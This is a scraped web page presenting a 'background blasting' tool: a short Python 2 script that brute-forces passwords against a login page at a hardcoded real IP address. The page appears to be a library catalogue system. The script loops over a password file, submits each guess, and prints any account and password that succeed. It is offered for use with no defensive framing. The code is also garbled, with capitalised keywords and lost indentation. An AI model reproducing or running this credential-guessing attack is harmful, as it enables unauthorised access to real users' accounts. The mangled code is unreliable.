Python Background blasting tool

Source: Internet
Author: User

SYS: using the SYS module to get the parameters of the script

Queue module, creating a "queuing" object

The time module, Python, Times () returns the timestamp of the current time (the number of floating-point seconds elapsed after the 1970 era).

The Find () function returned as 1 if it was not found

#!/usr/bin/env python
#-*-Coding:utf-8-*-

Import Sys
Import requests
Import Queue
Import time

# 1315935012
Username = sys.argv[1]
Password_file = sys.argv[2]
Queue = Queue.queue ()

f = open (Password_file)
For line in F.readlines ():
Queue.put (Line.strip ())

# Use account as password
Queue.put (username)

Start_time = Time.time ()

While not Queue.empty ():
Password = Queue.get ()
#print Password
Url= "Http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
query = {
' Callback ': "jquery17205871516966488435_1472197449413",
' username ': username,
' Password ': password,
' Logintype ': "Callno",
' _ ': ' 1472197524853 '
}

#print Query
Try
resp = requests.get (url, query)
Except
Queue.put (password)
resp.encoding = resp.apparent_encoding
If Resp.text.find (u "Password or login number error") = =-1 and Resp.text.find (U "reader not present") = =-1:
Print "[*] Account:%s Password:%s"% (username, password)

End_time = Time.time ()
Print "total:%f"% (end_time-start_time)

Python Background blasting tool

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.